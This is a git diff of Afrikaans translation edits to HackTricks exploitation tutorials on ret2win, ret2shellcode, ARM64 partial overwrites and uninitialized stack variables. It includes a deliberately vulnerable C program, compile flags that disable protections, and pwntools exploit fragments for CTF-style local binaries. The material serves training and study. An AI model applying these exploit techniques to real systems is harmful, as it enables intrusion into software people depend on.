'n Oorvloei is nie altyd in die stok nie, dit kan ook in die **stapel** wees byvoorbeeld:
|
||||
|
||||
{% content-ref url="../heap/heap-overflow.md" %}
|
||||
[heap-overflow.md](../heap/heap-overflow.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Tipes van beskerming
|
||||
|
||||
Daar is verskeie beskermings wat probeer om die uitbuiting van kwesbaarhede te voorkom, kyk na hulle in:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
@ -18,7 +18,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
**Ret2win**-uitdagings is 'n gewilde kategorie in **Capture The Flag (CTF)**-kompetisies, veral in take wat **binêre uitbuiting** behels. Die doel is om 'n kwesbaarheid in 'n gegewe binêre lêer uit te buit om 'n spesifieke, onaangeroepe funksie binne die binêre lêer uit te voer, dikwels iets soos `win`, `flag`, ens. Hierdie funksie druk gewoonlik 'n vlag of 'n suksesboodskap uit wanneer dit uitgevoer word. Die uitdaging behels tipies die oorskrywing van die **terugkeeradres** op die stapel om die uitvoervloei na die gewenste funksie te stuur. Hier is 'n meer gedetailleerde verduideliking met voorbeelde:
|
||||
|
||||
### C Voorbeeld
|
||||
### C-voorbeeld
|
||||
|
||||
Beskou 'n eenvoudige C-program met 'n kwesbaarheid en 'n `win`-funksie wat ons beoog om te roep:
|
||||
```c
|
||||
|
|
@ -44,10 +44,10 @@ Om hierdie program te kompileer sonder stapelbeskerming en met ASLR gedeaktiveer
|
|||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Kompileer die program as 'n 32-bis binêre (dit is opsioneel maar algemeen in CTF-uitdagings).
|
||||
* `-fno-stack-protector`: Deaktiveer beskerming teen stok-oorvloeie.
|
||||
* `-z execstack`: Staan die uitvoering van kode op die stok toe.
|
||||
* `-fno-stack-protector`: Deaktiveer beskerming teen stoor oorvloei.
|
||||
* `-z execstack`: Staan die uitvoering van kode op die stoor toe.
|
||||
* `-no-pie`: Deaktiveer Posisioneel Onafhanklike Uitvoerbare om te verseker dat die adres van die `win`-funksie nie verander nie.
|
||||
* `-o vulnerable`: Noem die uitvoerlêer `vulnerable`.
|
||||
* `-o vulnerable`: Noem die uitvoer lêer `vulnerable`.
|
||||
|
||||
### Python Uitbuiting met behulp van Pwntools
|
||||
|
||||
|
|
@ -71,18 +71,18 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Om die adres van die `win` funksie te vind, kan jy **gdb**, **objdump**, of enige ander gereedskap wat jou in staat stel om binêre lêers te inspekteer, gebruik. Byvoorbeeld, met `objdump`, kan jy die volgende gebruik:
|
||||
Om die adres van die `win` funksie te vind, kan jy **gdb**, **objdump**, of enige ander gereedskap gebruik wat jou in staat stel om binêre lêers te inspekteer. Byvoorbeeld, met `objdump`, kan jy die volgende gebruik:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Hierdie bevel sal jou die samestelling van die `win`-funksie wys, insluitend sy beginadres.
|
||||
|
||||
Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer verwerk deur die `vulnerable_function`, die buffer oorvloei en die terugkeeradres op die stok met die adres van `win` oorskryf. Wanneer `vulnerable_function` terugkeer, spring dit na `win` in plaas daarvan om na `main` terug te keer of af te sluit, en die boodskap word gedruk.
|
||||
Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer verwerk deur die `vulnerable_function`, die buffer oorloop en die terugkeeradres op die stapel oorskryf met die adres van `win`. Wanneer `vulnerable_function` terugkeer, spring dit na `win` in plaas daarvan om na `main` terug te keer of af te sluit, en die boodskap word gedruk.
|
||||
|
||||
## Beskermings
|
||||
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **moet gedeaktiveer word** sodat die adres betroubaar oor uitvoerings heen is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n lek nodig hê om uit te vind waar die `win`-funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorvloei veroorsaak `read` of soortgelyk is, kan jy 'n **Gedeeltelike Oorskrywing** van 1 of 2 byte doen om die terugkeeradres te verander na die `win`-funksie. As gevolg van hoe ASLR werk, is die laaste drie heks-nibble nie willekeurig nie, so daar is 'n **1/16 kans** (1 nibble) om die korrekte terugkeeradres te kry.
|
||||
* [**Stokkanaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP terugkeeradres nooit gevolg word nie.
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **moet gedeaktiveer word** sodat die adres betroubaar oor uitvoerings is of die adres waar die funksie gestoor sal word, sal nie altyd dieselfde wees nie en jy sou 'n lek nodig hê om uit te vind waar die `win`-funksie gelaai is. In sommige gevalle, wanneer die funksie wat die oorloop veroorsaak `read` of soortgelyk is, kan jy 'n **Gedeeltelike Oorskrywing** van 1 of 2 byte doen om die terugkeeradres te verander om die `win`-funksie te wees. As gevolg van hoe ASLR werk, is die laaste drie heks-nibbles nie willekeurig nie, so daar is 'n **1/16 kans** (1 nibble) om die korrekte terugkeeradres te kry.
|
||||
* [**Stapelkanaries**](../../common-binary-protections-and-bypasses/stack-canaries/) moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP terugkeeradres nooit gevolg word nie.
|
||||
|
||||
## Ander voorbeelde & Verwysings
|
||||
|
||||
|
|
@ -94,17 +94,21 @@ Die Python-skrip stuur 'n sorgvuldig saamgestelde boodskap wat, wanneer verwerk
|
|||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64-bis, geen ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32-bis, geen ASLR, dubbele klein oorvloei, eerste om die stok te oorvloei en die grootte van die tweede oorvloei te vergroot
|
||||
* 32-bis, geen ASLR, dubbele klein oorloop, eerste om die stapel te oorloop en die grootte van die tweede oorloop te vergroot
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32-bis, relro, geen kanarie, nx, geen pie, formaatstring om die adres `fflush` met die `win`-funksie (ret2win) te oorskryf
|
||||
* 32-bis, relro, geen kanarie, nx, geen pie, formaatstring om die adres `fflush` met die `win`-funksie te oorskryf (ret2win)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
|
||||
* 32-bis, nx, niks anders, gedeeltelike oorskrywing van EIP (1Byte) om die `win`-funksie te roep
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
|
||||
* 32-bis, nx, niks anders, gedeeltelike oorskrywing van EIP (1Byte) om die `win`-funksie te roep
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Die program valideer slegs die laaste byte van 'n nommer om vir die grootte van die inset te kyk, daarom is dit moontlik om enige grootte by te voeg solank die laaste byte binne die toegelate reeks is. Dan skep die inset 'n bufferoorvloei wat uitgebuit word met 'n ret2win.
|
||||
* Die program valideer slegs die laaste byte van 'n nommer om vir die grootte van die inset te kyk, daarom is dit moontlik om enige grootte by te voeg solank die laaste byte binne die toegelate reeks is. Dan skep die inset 'n bufferoorloop wat uitgebuit word met 'n ret2win.
|
||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
* 64-bis, relro, geen kanarie, nx, pie. Gedeeltelike oorskrywing om die `win`-funksie te roep (ret2win)
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
* arm64, PIE, dit gee 'n PIE-lek die `win`-funksie is eintlik 2 funksies, dus ROP-gadget wat 2 funksies oproep
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
* ARM64, off-by-one om 'n `win`-funksie te roep
|
||||
|
||||
## ARM64 Voorbeeld
|
||||
|
||||
|
|
|
|||
|
|
@ -65,9 +65,9 @@ pattern search $x30
|
|||
|
||||
**Die skuif is 72 (9x48).**
|
||||
|
||||
### Stok skuif opsie
|
||||
### Staproffsetting opsie
|
||||
|
||||
Begin deur die stok adres te kry waar die pc-register gestoor word:
|
||||
Begin deur die stap adres te kry waar die pc-register gestoor word:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
|
|
@ -121,9 +121,11 @@ p.send(payload)
|
|||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
### Afstand-van-2
|
||||
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
In plaas daarvan om al die terugkeeradres te oorskryf, gaan ons net die laaste 2 byte oorskryf met `0x06c4`.
|
||||
### Afstand-van-1
|
||||
|
||||
Eintlik gaan dit meer soos 'n afstand-van-2 wees in die gestoorde PC in die stapel. In plaas daarvan om al die terugkeeradres te oorskryf, gaan ons slegs die laaste 2 byte oorskryf met `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -145,15 +147,17 @@ p.close()
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Jy kan nog 'n voorbeeld van 'n af-by-een in ARM64 vind in [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), wat 'n werklike af-by-**een** in 'n fiktiewe kwesbaarheid is.
|
||||
|
||||
## Met PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Kompileer die binêre lêer **sonder die `-no-pie` argument**
|
||||
{% endhint %}
|
||||
|
||||
### Afstand-van-2
|
||||
### Af-by-2
|
||||
|
||||
Sonnder 'n lek weet ons nie die presiese adres van die wenfunksie nie, maar ons kan die afstand van die funksie vanaf die binêre lêer ken en weet dat die terugkeeradres wat ons oorskryf alreeds na 'n nabygeleë adres wys. Dit is moontlik om die afstand na die wenfunksie (**0x7d4**) in hierdie geval te lek en net daardie afstand te gebruik:
|
||||
Sonnder 'n lek weet ons nie die presiese adres van die wenfunksie nie, maar ons kan die offset van die funksie van die binêre lêer ken en weet dat die terugkeeradres wat ons oorskryf alreeds na 'n nabygeleë adres wys. Dit is moontlik om die offset na die wenfunksie (**0x7d4**) in hierdie geval te lek en net daardie offset te gebruik:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
|
|
|
|||
|
|
@ -49,9 +49,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
* `-no-pie`: Deaktiveer Posisioneel Onafhanklike Uitvoerbare, wat dit makliker maak om die geheue-adres te voorspel waar ons shellcode geleë sal wees.
|
||||
* `-m32`: Kompileer die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoudigheid in uitbuitingsontwikkeling.
|
||||
|
||||
### Python Uitbuit met behulp van Pwntools
|
||||
### Python Uitbuiting met behulp van Pwntools
|
||||
|
||||
Hier is hoe jy 'n uitbuit in Python kan skryf met behulp van **pwntools** om 'n **ret2shellcode**-aanval uit te voer:
|
||||
Hier is hoe jy 'n uitbuiting in Python kan skryf met behulp van **pwntools** om 'n **ret2shellcode** aanval uit te voer:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -80,7 +80,7 @@ p.interactive()
|
|||
```
|
||||
Hierdie skrip konstrueer 'n lading wat bestaan uit 'n **NOP-glybaan**, die **shellcode**, en dan oorskryf die **EIP** met die adres wat na die NOP-glybaan wys, om te verseker dat die shellcode uitgevoer word.
|
||||
|
||||
Die **NOP-glybaan** (`asm('nop')`) word gebruik om die kans te verhoog dat die uitvoering in ons shellcode sal "gly" ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP-glybaan te land.
|
||||
Die **NOP-glybaan** (`asm('nop')`) word gebruik om die kans te verhoog dat die uitvoering in ons shellcode "gly" ongeag die presiese adres. Pas die `p32()` argument aan na die beginadres van jou buffer plus 'n offset om in die NOP-glybaan te land.
|
||||
|
||||
## Beskermings
|
||||
|
||||
|
|
@ -92,11 +92,13 @@ Die **NOP-glybaan** (`asm('nop')`) word gebruik om die kans te verhoog dat die u
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
|
||||
* 64-bis, ASLR met stapeladreslek, skryf shellcode en spring daarna
|
||||
* 64-bit, ASLR met stapeladreslek, skryf shellcode en spring daarna
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
|
||||
* 32-bis, ASLR met stapellek, skryf shellcode en spring daarna
|
||||
* 32-bit, ASLR met stapellek, skryf shellcode en spring daarna
|
||||
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
|
||||
* 32-bis, ASLR met stapellek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
|
||||
* 32-bit, ASLR met stapellek, vergelyking om oproep na exit() te voorkom, oorskryf veranderlike met 'n waarde en skryf shellcode en spring daarna
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
* arm64, geen ASLR, ROP-gadget om stapel uitvoerbaar te maak en na shellcode in stapel te spring
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -106,7 +108,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
|||
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -19,14 +19,21 @@ Ander maniere om HackTricks te ondersteun:
|
|||
Die kernidee hier is om te verstaan wat gebeur met **ongeïnitialiseerde veranderlikes aangesien hulle die waarde sal hê wat reeds in die toegewysde geheue aan hulle was.** Voorbeeld:
|
||||
|
||||
* **Funksie 1: `initializeVariable`**: Ons verklaar 'n veranderlike `x` en ken dit 'n waarde toe, sê ons `0x1234`. Hierdie aksie is soortgelyk aan die reservering van 'n plek in die geheue en die plaas van 'n spesifieke waarde daarin.
|
||||
* **Funksie 2: `useUninitializedVariable`**: Hier verklaar ons 'n ander veranderlike `y` maar ken geen waarde daaraan toe nie. In C word ongeïnitialiseerde veranderlikes nie outomaties na nul ingestel nie. In plaas daarvan behou hulle die waarde wat laas gestoor was op hul geheueposisie.
|
||||
* **Funksie 2: `useUninitializedVariable`**: Hier verklaar ons 'n ander veranderlike `y` maar ken geen waarde daaraan toe nie. In C word ongeïnitialiseerde veranderlikes nie outomaties na nul ingestel nie. In plaas daarvan behou hulle die waarde wat laas by hul geheueposisie gestoor was.
|
||||
|
||||
Wanneer ons hierdie twee funksies **opeenvolgend** hardloop:
|
||||
|
||||
1. In `initializeVariable` word `x` 'n waarde toegeken (`0x1234`), wat 'n spesifieke geheue-adres inneem.
|
||||
2. In `useUninitializedVariable` word `y` verklaar maar nie 'n waarde daaraan toegeken nie, sodat dit die geheueposisie reg na `x` inneem. As gevolg van die nie-inisialisering van `y`, erf dit die waarde van dieselfde geheueposisie wat deur `x` gebruik is, omdat dit die laaste waarde was wat daar was.
|
||||
2. In `useUninitializedVariable` word `y` verklaar maar nie 'n waarde daaraan toegeken nie, sodat dit die geheueposisie reg na `x` inneem. As gevolg van die nie-inisialisering van `y`, erf dit uiteindelik die waarde van dieselfde geheueposisie wat deur `x` gebruik is, omdat dit die laaste waarde was wat daar was.
|
||||
|
||||
Hierdie gedrag illustreer 'n sleutelkonsep in laevlak-programmering: **Geheuebestuur is noodsaaklik**, en ongeïnitialiseerde veranderlikes kan lei tot onvoorspelbare gedrag of sekuriteitskwessies, aangesien hulle moontlik sensitiewe data wat in die geheue agtergelaat is, onbedoeld kan behou.
|
||||
Hierdie gedrag illustreer 'n sleutelkonsep in laevlak-programmering: **Geheuebestuur is krities**, en ongeïnitialiseerde veranderlikes kan lei tot onvoorspelbare gedrag of sekuriteitskwessies, aangesien hulle moontlik sensitiewe data wat in die geheue agtergelaat is, onbedoeld kan behou.
|
||||
|
||||
Ongeïnitialiseerde stapelveranderlikes kan verskeie sekuriteitsrisiko's inhou soos:
|
||||
|
||||
* **Datalek**: Sensitiewe inligting soos wagwoorde, enkripsiesleutels, of persoonlike besonderhede kan blootgestel word as dit in ongeïnitialiseerde veranderlikes gestoor word, wat aanvallers moontlik in staat stel om hierdie data te lees.
|
||||
* **Inligtingsoffergawe**: Die inhoud van ongeïnitialiseerde veranderlikes kan besonderhede oor die program se geheue-uitleg of interne werking blootlê, wat aanvallers kan help om geteikende aanvalle te ontwikkel.
|
||||
* **Klaskrake en Onstabiliteit**: Operasies met betrekking tot ongeïnitialiseerde veranderlikes kan lei tot ongedefinieerde gedrag, wat tot programkrake of onvoorspelbare uitkomste kan lei.
|
||||
* **Willekeurige Kode-uitvoering**: In sekere scenario's kan aanvallers hierdie kwessies uitbuit om die program se uitvoervloei te verander, wat hulle in staat stel om willekeurige kode uit te voer, wat moontlik afgeleë kode-uitvoeringsbedreigings kan insluit.
|
||||
|
||||
### Voorbeeld
|
||||
```c
|
||||
|
|
@ -58,8 +65,12 @@ demonstrateUninitializedVar();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
#### Hoe dit werk:
|
||||
#### Hoe Dit Werk:
|
||||
|
||||
* **`initializeAndPrint` Funksie**: Hierdie funksie verklaar 'n heelgetal veranderlike `initializedVar`, ken dit die waarde `100` toe, en druk dan beide die geheue-adres en die waarde van die veranderlike af. Hierdie stap is reguit vorentoe en toon hoe 'n geïnisialiseerde veranderlike optree.
|
||||
* **`demonstreerOngeïnisialiseerdeVar` Funksie**: In hierdie funksie verklaar ons 'n heelgetal veranderlike `uninitializedVar` sonder om dit te inisialiseer. Wanneer ons probeer om die waarde daarvan af te druk, kan die uitset 'n lukrake nommer toon. Hierdie nommer verteenwoordig enige data wat voorheen by daardie geheue-posisie was. Afhangend van die omgewing en die samesteller, kan die werklike uitset wissel, en soms, vir veiligheid, kan sommige samestellers outomaties veranderlikes na nul inisialiseer, alhoewel hierdie nie op vertrou moet word nie.
|
||||
* **`demonstreerOngeïnisialiseerdeVar` Funksie**: In hierdie funksie verklaar ons 'n heelgetal veranderlike `uninitializedVar` sonder om dit te inisialiseer. Wanneer ons probeer om die waarde af te druk, kan die uitset 'n lukrake nommer toon. Hierdie nommer verteenwoordig enige data wat voorheen by daardie geheue-posisie was. Afhangende van die omgewing en die samesteller, kan die werklike uitset wissel, en soms, vir veiligheid, kan sommige samestellers outomaties veranderlikes na nul inisialiseer, alhoewel hierdie nie op vertrou moet word nie.
|
||||
* **`main` Funksie**: Die `main` funksie roep beide van die bogenoemde funksies in volgorde aan, wat die teenstelling tussen 'n geïnisialiseerde veranderlike en 'n ongeïnisialiseerde een demonstreer.
|
||||
|
||||
## ARM64 Voorbeeld
|
||||
|
||||
Dit verander glad nie in ARM64 nie aangesien plaaslike veranderlikes ook in die stok bestuur word, jy kan [**hierdie voorbeeld nagaan**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) waar dit gewys word.
|
||||
|
|
|
|||
|
|
@ -21,8 +21,8 @@ In die ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Uitsonderingsvla
|
|||
1. **EL0 - Gebruikermodus**:
|
||||
* Dit is die minst bevoorregte vlak en word gebruik vir die uitvoering van gewone aansoekkode.
|
||||
* Toepassings wat by EL0 hardloop, is van mekaar en van die stelsel sagteware geïsoleer, wat die veiligheid en stabiliteit verbeter.
|
||||
2. **EL1 - Bedryfstelselkernelmodus**:
|
||||
* Die meeste bedryfstelselkernels hardloop op hierdie vlak.
|
||||
2. **EL1 - Bedryfstelsel-kernelmodus**:
|
||||
* Die meeste bedryfstelselkerne hardloop op hierdie vlak.
|
||||
* EL1 het meer voorregte as EL0 en kan toegang tot stelselbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker.
|
||||
3. **EL2 - Hipervisormodus**:
|
||||
* Hierdie vlak word vir virtualisering gebruik. 'n Hipervisor wat by EL2 hardloop, kan verskeie bedryfstelsels (elk in sy eie EL1) bestuur wat op dieselfde fisiese hardeware hardloop.
|
||||
|
|
@ -31,13 +31,13 @@ In die ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Uitsonderingsvla
|
|||
* Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige aanvang en vertroude uitvoeringsomgewings.
|
||||
* EL3 kan toegange tussen veilige en nie-veilige toestande bestuur en beheer (soos veilige aanvang, vertroude OS, ens.).
|
||||
|
||||
Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige manier moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelsel sagteware. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente doeltreffend te isoleer, wat die veiligheid en robuustheid van die stelsel verbeter.
|
||||
Die gebruik van hierdie vlakke maak dit moontlik om op 'n gestruktureerde en veilige manier verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelsel sagteware. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente doeltreffend te isoleer, wat die veiligheid en robuustheid van die stelsel verbeter.
|
||||
|
||||
## **Registers (ARM64v8)**
|
||||
|
||||
ARM64 het **31 algemene doelregisters**, gemerk as `x0` tot `x30`. Elkeen kan 'n **64-bis** (8-byte) waarde stoor. Vir operasies wat slegs 32-bis waardes vereis, kan dieselfde registers in 'n 32-bis modus benader word deur die name w0 tot w30 te gebruik.
|
||||
|
||||
1. **`x0`** tot **`x7`** - Hierdie word tipies as krapregisters gebruik en vir die deurgawe van parameters aan subroetines.
|
||||
1. **`x0`** tot **`x7`** - Hierdie word tipies as krapregisters gebruik en vir die deurgang van parameters na subroetines.
|
||||
* **`x0`** dra ook die terugvoerdata van 'n funksie.
|
||||
2. **`x8`** - In die Linux-kernel word `x8` gebruik as die stelseloproepnommer vir die `svc`-instruksie. **In macOS is dit x16 wat gebruik word!**
|
||||
3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes.
|
||||
|
|
@ -45,35 +45,35 @@ ARM64 het **31 algemene doelregisters**, gemerk as `x0` tot `x30`. Elkeen kan 'n
|
|||
